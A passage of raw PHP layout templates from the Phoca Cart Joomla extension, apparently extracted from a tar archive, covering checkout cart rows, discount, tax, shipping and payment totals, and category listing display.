class="'.$d['s']['c']['btn.btn-danger.btn-sm'].'
ph-btn" type="submit" name="action"
value="delete"><span
title="'.JText::_('COM_PHOCACART_REMOVE_PRODUCT_FROM_CART').'"
class="'.$d['s']['i']['trash'].'"></span></button>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</div>';
echo '</form>';
echo '</div>';// end quantity
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div
class="'.$cT.$cVRow.$lineThroughClass.'
ph-checkout-cart-tax">'.$price->getPriceFormat($v['tax']
* $v['quantity']).'</div>';
}
echo '<div class="'.$cB.$cVRow.$lineThroughClass.'
ph-checkout-cart-brutto">'.$price->getPriceFormat($v['final']).'</div>';
echo '</div>'. "\n"; // end row
// ATTRIBUTES
if (!empty($v['attributes'])) {
echo '<div class="'.$r.'">';
echo '<div
class="'.$cI.'"></div>';
echo '<div class="'.$cAT.'">';
echo '<ul
class="ph-checkout-attribute-box">';
foreach($v['attributes'] as $k2 => $v2) {
if (!empty($v2)) {
foreach($v2 as $k3 => $v3) {
echo '<li
class="ph-checkout-attribute-item"><span
class="ph-small
ph-cart-small-attribute">'.$v3['atitle'] . '
'.$v3['otitle'].'</span>';
if (isset($v3['ovalue']) &&
urldecode($v3['ovalue']) != '') {
echo ': <span class="ph-small
ph-cart-small-attribute">'.htmlspecialchars(urldecode($v3['ovalue']),
ENT_QUOTES, 'UTF-8').'</span>';
}
echo '</li>';
}
}
}
echo '</ul>';
echo '</div>';
echo '</div>'. "\n"; // end row
}
// DISCOUNT price for each product
if ($p['display_discount_product'] == 1) {
// REWARD DISCOUNT
if($d['fullitems'][5][$k]['rewardproduct']
&& $p['display_discount_price_product'] > 0) {
$discountTitle =
JText::_('COM_PHOCACART_REWARD_POINTS_PRICE');
if
(isset($d['fullitems'][5][$k]['rewardproducttitle'])
&& $d['fullitems'][5][$k]['rewardproducttitle']
!= '') {
$discountTitle =
$d['fullitems'][5][$k]['rewardproducttitle'];
}
$rewardNetto =
$price->getPriceFormat($d['fullitems'][5][$k]['netto']);
$rewardTax =
$price->getPriceFormat($d['fullitems'][5][$k]['tax']
* $v['quantity']);
$rewardFinal =
$price->getPriceFormat($d['fullitems'][5][$k]['final']);
if ($p['display_discount_price_product'] == 2 &&
isset($d['fullitems'][5][$k]['finaldiscount'])) {
$rewardNetto =
$price->getPriceFormat($d['fullitems'][5][$k]['nettodiscount'],
1);
$rewardTax =
$price->getPriceFormat($d['fullitems'][5][$k]['taxdiscount']
* $v['quantity'], 1);
$rewardFinal =
$price->getPriceFormat($d['fullitems'][5][$k]['finaldiscount'],
1);
}
echo '<div class="'.$r.$cV.'
ph-checkout-discount-row">';
echo '<div
class="'.$cI.$cVRow.'"></div>';
echo '<div class="'.$cP.$cVRow.'
ph-checkout-cart-title">'.$discountTitle.'
'.$d['fullitems'][5][$k]['rewardproducttxtsuffix'].'</div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cN.$cVRow.'
ph-checkout-cart-netto">'.$rewardNetto.'</div>';
}
echo '<div class="'.$cQ.$cVRow.'
ph-checkout-cart-quantity"></div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cT.$cVRow.'
ph-checkout-cart-tax">'.$rewardTax.'</div>';
}
echo '<div class="'.$cB.$cVRow.'
ph-checkout-cart-brutto">'.$rewardFinal.'</div>';
echo '</div>'. "\n"; // end row
}
// PRODUCT DISCOUNT
if($d['fullitems'][2][$k]['discountproduct']
&& (($p['display_discount_price_product'] == 1 &&
$d['fullitems'][2][$k]['netto'] > 0) ||
$p['display_discount_price_product'] == 2)) {
$discountTitle =
JText::_('COM_PHOCACART_PRODUCT_DISCOUNT_PRICE');
if
(isset($d['fullitems'][2][$k]['discountproducttitle'])
&&
$d['fullitems'][2][$k]['discountproducttitle'] !=
'') {
$discountTitle =
$d['fullitems'][2][$k]['discountproducttitle'];
}
$productNetto =
$price->getPriceFormat($d['fullitems'][2][$k]['netto']);
$productTax =
$price->getPriceFormat($d['fullitems'][2][$k]['tax']
* $v['quantity']);
$productFinal =
$price->getPriceFormat($d['fullitems'][2][$k]['final']);
if ($p['display_discount_price_product'] == 2 &&
isset($d['fullitems'][2][$k]['finaldiscount'])) {
$productNetto =
$price->getPriceFormat($d['fullitems'][2][$k]['nettodiscount'],
1);
$productTax =
$price->getPriceFormat($d['fullitems'][2][$k]['taxdiscount']
* $v['quantity'], 1);
$productFinal =
$price->getPriceFormat($d['fullitems'][2][$k]['finaldiscount'],
1);
}
echo '<div class="'.$r.$cV.'
ph-checkout-discount-row">';
echo '<div
class="'.$cI.$cVRow.'"></div>';
echo '<div class="'.$cP.$cVRow.'
ph-checkout-cart-title">'.$discountTitle.'</div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cN.$cVRow.'
ph-checkout-cart-netto">'.$productNetto.'</div>';
}
echo '<div class="'.$cQ.$cVRow.'
ph-checkout-cart-quantity"></div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cT.$cVRow.'
ph-checkout-cart-tax">'.$productTax.'</div>';
}
echo '<div class="'.$cB.$cVRow.'
ph-checkout-cart-brutto">'.$productFinal.'</div>';
echo '</div>'. "\n"; // end row
}
// CART DISCOUNT
if($d['fullitems'][3][$k]['discountcart'] &&
(($p['display_discount_price_product'] == 1 &&
$d['fullitems'][3][$k]['netto'] > 0) ||
$p['display_discount_price_product'] == 1)) {
$discountTitle =
JText::_('COM_PHOCACART_CART_DISCOUNT_PRICE');
if
(isset($d['fullitems'][3][$k]['discountcarttitle'])
&& $d['fullitems'][3][$k]['discountcarttitle']
!= '') {
$discountTitle =
$d['fullitems'][3][$k]['discountcarttitle'];
}
$cartNetto =
$price->getPriceFormat($d['fullitems'][3][$k]['netto']);
$cartTax =
$price->getPriceFormat($d['fullitems'][3][$k]['tax']
* $v['quantity']);
$cartFinal =
$price->getPriceFormat($d['fullitems'][3][$k]['final']);
if ($p['display_discount_price_product'] == 2 &&
isset($d['fullitems'][3][$k]['finaldiscount'])) {
$cartNetto =
$price->getPriceFormat($d['fullitems'][3][$k]['nettodiscount'],
1);
$cartTax =
$price->getPriceFormat($d['fullitems'][3][$k]['taxdiscount']
* $v['quantity'], 1);
$cartFinal =
$price->getPriceFormat($d['fullitems'][3][$k]['finaldiscount'],
1);
}
echo '<div class="'.$r.$cV.'
ph-checkout-discount-row">';
echo '<div
class="'.$cI.$cVRow.'"></div>';
echo '<div class="'.$cP.$cVRow.'
ph-checkout-cart-title">'.$discountTitle.'</div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cN.$cVRow.'
ph-checkout-cart-netto">'.$cartNetto.'</div>';
}
echo '<div class="'.$cQ.$cVRow.'
ph-checkout-cart-quantity"></div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cT.$cVRow.'
ph-checkout-cart-tax">'.$cartTax.'</div>';
}
echo '<div class="'.$cB.$cVRow.'
ph-checkout-cart-brutto">'.$cartFinal.'</div>';
echo '</div>'. "\n"; // end row
}
// CART COUPON
if($d['couponvalid'] &&
$d['fullitems'][4][$k]['couponcart'] &&
$p['display_discount_price_product'] > 0) {
$couponTitle = JText::_('COM_PHOCACART_COUPON');
if (isset($d['coupontitle']) &&
$d['coupontitle'] != '') {
$couponTitle = $d['coupontitle'];
}
$couponNetto =
$price->getPriceFormat($d['fullitems'][4][$k]['netto']);
$couponTax =
$price->getPriceFormat($d['fullitems'][4][$k]['tax']
* $v['quantity']);
$couponFinal =
$price->getPriceFormat($d['fullitems'][4][$k]['final']);
if ($p['display_discount_price_product'] == 2 &&
isset($d['fullitems'][4][$k]['finaldiscount'])) {
$couponNetto =
$price->getPriceFormat($d['fullitems'][4][$k]['nettodiscount'],
1);
$couponTax =
$price->getPriceFormat($d['fullitems'][4][$k]['taxdiscount']
* $v['quantity'], 1);
$couponFinal =
$price->getPriceFormat($d['fullitems'][4][$k]['finaldiscount'],
1);
}
echo '<div class="'.$r.$cV.'
ph-checkout-discount-row">';
echo '<div
class="'.$cI.$cVRow.'"></div>';
echo '<div class="'.$cP.$cVRow.'
ph-checkout-cart-title">'.$couponTitle.'</div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cN.$cVRow.'
ph-checkout-cart-netto">'.$couponNetto.'</div>';
}
echo '<div class="'.$cQ.$cVRow.'
ph-checkout-cart-quantity"></div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div class="'.$cT.$cVRow.'
ph-checkout-cart-tax">'.$couponTax.'</div>';
}
echo '<div class="'.$cB.$cVRow.'
ph-checkout-cart-brutto">'.$couponFinal.'</div>';
echo '</div>'. "\n"; // end row
}
}
// STOCK VALID
if ($v['stockvalid'] == 0 &&
$p['stock_checkout'] == 1 &&
$p['stock_checking'] == 1) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'">';
echo '<div class="alert alert-error
ph-alert-small">'.JText::_('COM_PHOCACART_PRODUCT_NOT_AVAILABLE_IN_QUANTITY_OR_NOT_IN_STOCK').'</div>';
echo '</div>';
echo '</div>'. "\n"; // end row
}
// B) MINIMUM QUANTITY - PRODUCT VARIATIONS - EACH PRODUCT VARIATION
// see cart/calculation class - it is explained why a) method is not
used
if ($v['minqtyvalid'] == 0 &&
($v['minqtycalculation'] == 1 ||
$v['minqtycalculation'] == 2)) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'">';
echo '<div class="alert alert-error
ph-alert-small">'.JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY_FOR_THIS_PRODUCT_IS').':
'.$v['minqty'].'</div>';
echo '</div>';
echo '</div>'. "\n"; // end row
}
if ($v['minmultipleqtyvalid'] == 0 &&
($v['minqtycalculation'] == 1 ||
$v['minqtycalculation'] == 2)) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'">';
echo '<div class="alert alert-error
ph-alert-small">'.JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY_FOR_PRODUCT').':
'.$v['minmultipleqty'].'</div>';
echo '</div>';
echo '</div>'. "\n"; // end row
}
}
// ROW
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'"><div
class="ph-hr"></div></div>';
echo '</div>'. "\n"; // end row
// SUBTOTAL NETTO
if ($d['total'][1]['netto'] !== 0) {
echo '<div class="'.$r.'
ph-cart-subtotal-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-subtotal-netto-txt">'.JText::_('COM_PHOCACART_SUBTOTAL').'</div>';
echo '<div class="'.$cTotB.' ph-right
ph-cart-subtotal-netto">'.$price->getPriceFormat($d['total'][1]['netto']).'</div>';
echo '</div>';// end row
}
// REWARD DISCOUNT
if ($d['total'][5]['dnetto']) {
echo '<div class="'.$r.'
ph-cart-reward-discount-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-reward-discount-txt">'.JText::_('COM_PHOCACART_REWARD_POINTS').$d['total'][5]['rewardproducttxtsuffix'].'</div>';
echo '<div class="'.$cTotB.' ph-right
ph-cart-reward-discount">'.$price->getPriceFormat($d['total'][5]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
// PRODUCT DISCOUNT
if ($d['total'][2]['dnetto']) {
echo '<div class="'.$r.'
ph-cart-product-discount-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-product-discount-txt">'.JText::_('COM_PHOCACART_PRODUCT_DISCOUNT').'</div>';
echo '<div class="'.$cTotB.' ph-right
ph-cart-product-discount">'.$price->getPriceFormat($d['total'][2]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
// CART DISCOUNT
if ($d['total'][3]['dnetto']) {
echo '<div class="'.$r.'
ph-cart-discount-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-cart-discount-txt">'.JText::_('COM_PHOCACART_CART_DISCOUNT').$d['total'][3]['discountcarttxtsuffix'].'</div>';
echo '<div class="'.$cTotB.' ph-right
ph-cart-cart-discount">'.$price->getPriceFormat($d['total'][3]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
// COUPON
if ($d['total'][4]['dnetto'] &&
$d['couponvalid']) {
$couponTitle = JText::_('COM_PHOCACART_COUPON');
if (isset($d['coupontitle']) &&
$d['coupontitle'] != '') {
$couponTitle = $d['coupontitle'];
}
echo '<div class="'.$r.'
ph-cart-coupon-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-coupon-txt">'.$couponTitle.$d['total'][4]['couponcarttxtsuffix'].'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-coupon ph-right
ph-cart-coupon">'.$price->getPriceFormat($d['total'][4]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
/*
// SUBTOTAL AFTER DISCOUNTS
if ($d['total'][0]['wdnetto']) {
echo '<div class="'.$r.'
ph-cart-subtotal-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-subtotal-netto-txt">'.JText::_('COM_PHOCACART_SUBTOTAL_AFTER_DISCOUNTS').'</div>';
echo '<div class="'.$cTotB.' ph-right
ph-cart-subtotal-netto">'.$price->getPriceFormat($d['total'][0]['wdnetto']).'</div>';
echo '</div>';// end row
}
*/
// TAX
if (!empty($d['total'][0]['tax'])) {
foreach($d['total'][0]['tax'] as $k3 => $v3) {
if($v3['tax'] !== 0 && $v3['tax'] != 0
&& $p['tax_calculation'] != 0) {
echo '<div class="'.$r.'
ph-cart-tax-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-tax-txt">'.$v3['title'].'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-tax">'.$price->getPriceFormat($v3['tax']).'</div>';
echo '</div>';// end row
}
}
}
// SHIPPING
// Add Shipping costs if there are some
if (!empty($d['shippingcosts'])) {
$sC = $d['shippingcosts'];
if ($p['zero_shipping_price_calculation'] == -1 &&
$sC['zero'] == 1) {
// Hide completely
} else if ($p['zero_shipping_price_calculation'] == 0
&& $sC['zero'] == 1) {
// Display blank price field
echo '<div class="'.$r.'
ph-cart-shipping-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-shipping-txt">'.$sC['title'].'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-shipping"></div>';
echo '</div>';// end row
} else if ($p['zero_shipping_price_calculation'] == 2
&& $sC['zero'] == 1) {
// Display free text
echo '<div class="'.$r.'
ph-cart-shipping-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-shipping-txt">'.$sC['title'].'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-shipping">'.JText::_('COM_PHOCACART_FREE').'</div>';
echo '</div>';// end row
} else {
if (isset($sC['nettoformat']) &&
$sC['nettoformat'] != '' &&
isset($sC['nettotxt'])/* && $sC['nettotxt'] !=
'' can be empty */) {
echo '<div class="'.$r.'
ph-cart-shipping-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-shipping-netto-txt">'.$sC['title'].
PhocacartUtils::addSeparator($sC['nettotxt']).'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-shipping-netto">'.$sC['nettoformat'].'</div>';
echo '</div>';// end row
}
if (isset($sC['taxformat']) &&
$sC['taxformat'] != '' &&
isset($sC['taxtxt'])/* && $sC['taxtxt'] !=
'' can be empty */) {
echo '<div class="'.$r.'
ph-cart-shipping-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-shipping-tax-txt">'.$sC['title'].
PhocacartUtils::addSeparator($sC['taxtxt']).'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-shipping-tax">'.$sC['taxformat'].'</div>';
echo '</div>';// end row
}
if ((isset($sC['bruttoformat']) &&
$sC['bruttoformat'] != '' &&
isset($sC['bruttotxt']) /* && $sC['bruttotxt']
!= '' - can be empty */) || $sC['freeshipping'] == 1)
{
echo '<div class="'.$r.'
ph-cart-shipping-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-shipping-brutto-txt">'.$sC['title'].
PhocacartUtils::addSeparator($sC['bruttotxt']).'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-shipping-brutto">'.$sC['bruttoformat'].'</div>';
echo '</div>';// end row
}
}
}
// PAYMENT
// Add Payment costs if there are some
if (!empty($d['paymentcosts'])) {
$pC = $d['paymentcosts'];
if ($p['zero_payment_price_calculation'] == -1 &&
$pC['zero'] == 1) {
// Hide completely
} else if ($p['zero_payment_price_calculation'] == 0
&& $pC['zero'] == 1) {
// Display blank price field
echo '<div class="'.$r.'
ph-cart-payment-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-payment-txt">'.$pC['title'].'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-payment"></div>';
echo '</div>';// end row
} else if ($p['zero_payment_price_calculation'] == 2 &&
$pC['zero'] == 1) {
// Display free text
echo '<div class="'.$r.'
ph-cart-payment-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-payment-txt">'.$pC['title'].'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-payment">'.JText::_('COM_PHOCACART_FREE').'</div>';
echo '</div>';// end row
} else {
if (isset($pC['nettoformat']) &&
$pC['nettoformat'] != '' &&
isset($pC['nettotxt'])/* && $pC['nettotxt'] !=
'' can be empty */) {
echo '<div class="'.$r.'
ph-cart-payment-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-payment-netto-txt">'.$pC['title'].
PhocacartUtils::addSeparator($pC['nettotxt']).'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-payment-netto">'.$pC['nettoformat'].'</div>';
echo '</div>';// end row
}
if (isset($pC['taxformat']) &&
$pC['taxformat'] != '' &&
isset($pC['taxtxt'])/* && $pC['taxtxt'] !=
'' can be empty */) {
echo '<div class="'.$r.'
ph-cart-payment-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-payment-tax-txt">'.$pC['title'].
PhocacartUtils::addSeparator($pC['taxtxt']).'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-payment-tax">'.$pC['taxformat'].'</div>';
echo '</div>';// end row
}
if ((isset($pC['bruttoformat']) &&
$pC['bruttoformat'] != '' &&
isset($pC['bruttotxt'])/* && $pC['bruttotxt']
!= '' can be empty */) || $pC['freepayment'] == 1) {
echo '<div class="'.$r.'
ph-cart-payment-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-payment-brutto-txt">'.$pC['title'].
PhocacartUtils::addSeparator($pC['bruttotxt']).'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-payment-brutto">'.$pC['bruttoformat'].'</div>';
echo '</div>';// end row
}
}
}
// Posible feature request
// Sum all taxes together: Product + Shipping + Payment
// Different rates will be of course not be added together
/*
// SUM OF ALL TAXES ON ONE LINE
if (!empty($d['total'][0]['tax'])) {
foreach($d['total'][0]['tax'] as $k3 => $v3) {
if($v3['tax'] !== 0 && $v3['tax'] != 0
&& $p['tax_calculation'] != 0) {
$tax = $v3['tax'];
// Add shipping method taxes to sum of all taxes
if (isset($sC['taxkey']) && $sC['taxkey']
== $k3) {
if (isset($sC['tax']) && $sC['tax'] >
0) {
$tax = $tax + $sC['tax'];
}
}
// Add payment method taxes to sum of all taxes
if (isset($pC['taxkey']) && $pC['taxkey']
== $k3) {
if (isset($pC['tax']) && $pC['tax'] >
0) {
$tax = $tax + $pC['tax'];
}
}
echo '<div class="'.$r.'
ph-cart-tax-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-tax-txt">SUM OF ALL TAXES -
'.$v3['title'].'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-right
ph-cart-tax">'.$price->getPriceFormat($tax).'</div>';
echo '</div>';// end row
}
}
}
*/
// ROUNDING | ROUNDING CURRENCY
if ($d['total'][0]['rounding_currency'] !== 0) {
echo '<div class="'.$r.'
ph-cart-currency-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-rounding-currency-txt">'.JText::_('COM_PHOCACART_ROUNDING_CURRENCY').'</div>';
echo '<div class="'.$cTotB.' ph-right
ph-cart-rounding-currency">'.$price->getPriceFormat($d['total'][0]['rounding_currency'],
0, 1).'</div>';
echo '</div>';// end row
} else if ($d['total'][0]['rounding'] !== 0) {
echo '<div class="'.$r.'
ph-cart-currency-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-rounding-txt">'.JText::_('COM_PHOCACART_ROUNDING').'</div>';
echo '<div class="'.$cTotB.' ph-right
ph-cart-rounding">'.$price->getPriceFormat($d['total'][0]['rounding']).'</div>';
echo '</div>';// end row
}
// BRUTTO (Because of rounding currency we need to display brutto in
currency which is set)
//if
(!($price->roundPrice($d['total'][0]['brutto_currency'])
> -0.01 &&
$price->roundPrice($d['total'][0]['brutto_currency']
< 0.01)) == 1) {
if ($d['total'][0]['brutto_currency'] !== 0) {
echo '<div class="'.$r.'
ph-cart-currency-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-brutto-currency-txt">'.JText::_('COM_PHOCACART_TOTAL').'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-cart-total ph-right
ph-cart-brutto-currency">'.$price->getPriceFormat($d['total'][0]['brutto_currency'],
0, 1).'</div>';
echo '</div>';// end row
//} else if
(!($price->roundPrice($d['total'][0]['brutto']) >
-0.01 &&
$price->roundPrice($d['total'][0]['brutto'] <
0.01)) == 1) {
} else if ($d['total'][0]['brutto'] !== 0 ||
($d['total'][0]['brutto'] === 0 &&
$p['display_zero_total'] == 1)) {
echo '<div class="'.$r.'
ph-cart-total-box">';
echo '<div
class="'.$cTotE.'"></div>';
echo '<div class="'.$cTotT.'
ph-cart-total-txt">'.JText::_('COM_PHOCACART_TOTAL').'</div>';
echo '<div class="'.$cTotB.'
ph-checkout-total-amount ph-cart-total
ph-right">'.$price->getPriceFormat($d['total'][0]['brutto']).'</div>';
echo '</div>';// end row
}
// Tax Recapitulation Possible part to display TC
/*if(!empty($d['total'][0]['taxrecapitulation']['items']))
{
echo '<table class="pc-tax-recapitulation">';
echo
'<tr><th>'.JText::_('COM_PHOCACART_TAX_TITLE').'</th><th>'.JText::_('COM_PHOCACART_TAX_BASIS').'</th><th>'.JText::_('COM_PHOCACART_TAX_TAX').'</th><th>'.JText::_('COM_PHOCACART_TAX_TOTAL').'</th></tr>';
/*if ($d['total'][0]['brutto_currency'] !== 0) {
foreach($d['total'][0]['taxrecapitulation']['items']
as $k => $v) {
echo
'<tr><td>'.$v['title'].'</td><td>'.$price->getPriceFormat($v['netto']).'</td><td>'.$price->getPriceFormat($v['tax']).'</td><td>'.$price->getPriceFormat($v['brutto_currency'],
0, 1).' '.'</td></tr>';
}
if
($d['total'][0]['taxrecapitulation']['rounding_currency']
> 0 &&
$d['total'][0]['taxrecapitulation']['corrected_currency']
== 1) {
echo
'<tr><td>'.JText::_('COM_PHOCACART_ROUNDING').'</td><td
colspan="3">'.$price->getPriceFormat($d['total'][0]['taxrecapitulation']['rounding_currency'],
0, 1).'</td></tr>';
echo
'<tr><td>'.JText::_('COM_PHOCACART_TOTAL').'</td><td
colspan="3">'.$price->getPriceFormat($d['total'][0]['brutto_currency'],
0, 1).'</td></tr>';
}
} else {*//*
$b = 0; $c = 0;
foreach($d['total'][0]['taxrecapitulation']['items']
as $k => $v) {
echo
'<tr><td>'.$v['title'].'</td><td>'.$price->getPriceFormat($v['netto']).'</td><td>'.$price->getPriceFormat($v['tax']).'</td><td>'.$price->getPriceFormat($v['brutto']).'
'.'</td></tr>';
$b += $v['brutto'];
}
if
(!($price->roundPrice($d['total'][0]['taxrecapitulation']['rounding'])
> -0.01 &&
$price->roundPrice($d['total'][0]['taxrecapitulation']['rounding']
< 0.01)) == 1) {
echo
'<tr><td>'.JText::_('COM_PHOCACART_ROUNDING').'</td><td
colspan="3">'.$price->getPriceFormat($d['total'][0]['taxrecapitulation']['rounding_currency'],
0, 1).' '.'</td></tr>';
//-
*$price->getPriceFormat($d['total'][0]['taxrecapitulation']['rounding_currency'])*//*.
$c =
$d['total'][0]['taxrecapitulation']['rounding'];
}
echo
'<tr><td>'.JText::_('COM_PHOCACART_TOTAL').'</td><td
colspan="3">'.$price->getPriceFormat($d['total'][0]['brutto'])./*'
'.$price->getPriceFormat($d['total'][0]['brutto_currency']).'
<b>'.$b.'</b> <b>'.($b +
$c).*//*'</b></td></tr>';
//}
echo '</table>';
} */
// Possible points received
if ($p['display_reward_points_receive_info'] == 1 &&
isset($d['total'][0]['points_received']) &&
$d['total'][0]['points_received'] > 0) {
echo '<div
class="ph-ceckout-points-received">'.JText::_('COM_PHOCACART_POINTS_RECEIVED_FOR_THIS_PURCHASE').':
'
.$d['total'][0]['points_received'].'</div>';
}
echo '</div>'. "\n"; // end checkout box
} else {
if ($d['pos']) {
echo '<div class="ph-cart-icon"><span
class="'.$d['s']['i']['shopping-cart'].'"></span></div>';
}
echo '<div
class="ph-cart-empty">'.JText::_('COM_PHOCACART_SHOPPING_CART_IS_EMPTY').'</div>';
}
?>
cart_total.php000064400000001230151165411770007415 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
/* Total amount used when product added to cart with ajax method and it
returns updated cart, updated count of items in cart and updated total
amount */
defined('_JEXEC') or die();
$d = $displayData;
$price = new PhocacartPrice();
if (isset($d['total'][0]['brutto'])) {
echo
$price->getPriceFormat($d['total'][0]['brutto']);
}
?>
categories_category.php000064400000005247151165411770011317
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutV = new JLayoutFile('button_category_view', null,
array('component' => 'com_phocacart'));
$layoutI = new JLayoutFile('category_image', null,
array('component' => 'com_phocacart'));
$d = $displayData;
$v = $d['v'];
$t = $d['t'];
$s = $d['s'];
$image = PhocacartImage::getThumbnailName($t['path'],
$v->image, $d['image_size']);
$link = JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias));
//echo '<div class="ph-image-box">';
$dI = array();
if (isset($image->rel) && $image->rel != '') {
$dI['t'] = $t;
$dI['s'] = $s;
$dI['image']['title'] = $v->title;
$dI['image']['image'] = $image;
echo '<a href="'.$link.'">';
echo $layoutI->render($dI);
echo '</a>';
} else if ($v->icon_class != '') {
echo '<div class="ph-image-box-content">';
echo '<div class="ph-image-box-content-item"><span
class="'. PhocacartText::filterValue($v->icon_class,
'text').'
ph-image-box-content-icon"></span></div>';
echo '</div>';
} else {
// No image, add possible image per CSS
//echo '<a href="'.$link.'">';
echo '<div class="ph-image-box-content">';
echo '<div
class="ph-image-box-content-item-'.strip_tags($v->alias).'"></div>';
echo '</div>';
//echo '</a>';
}
//echo '</div>';
//echo '<div class="ph-caption">';
echo
PhocacartRenderFront::renderCategoryHeader($t['category_name_link'],
$v);
if (!empty($v->subcategories) &&
(int)$t['csv_display_subcategories'] > 0) {
echo '<ul>';
$j = 0;
foreach($v->subcategories as $v2) {
if ($j == (int)$t['csv_display_subcategories']) {
break;
}
$link2 = JRoute::_(PhocacartRoute::getCategoryRoute($v2->id,
$v2->alias));
echo '<li><a
href="'.$link2.'">'.$v2->title.'</a></li>';
$j++;
}
echo '</ul>';
}
// Description box will be displayed even no description is set - to set
height and have all columns same height
echo '<div class="ph-cat-desc">';
if ($v->description != '' &&
(int)$t['csv_display_category_desc'] > 0) {
echo $v->description;
}
echo '</div>';
if ((int)$t['display_view_category_button'] > 0) {
$d2 = array();
$d2['link'] = $link;
$d2['s'] = $s;
$d2['display_view_category_button'] =
$t['display_view_category_button'];
echo '<div class="ph-item-action-box">';
echo $layoutV->render($d2);
echo '</div>';
}
//echo '</div>';
category_image.php000064400000005571151165411770010254 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$altValue =
PhocaCartImage::getAltTitle($d['image']['title'],
$d['image']['image']->rel);
$d['image']['style'] = '';
$srcPlaceHolder = 'data:image/svg+xml,%3Csvg
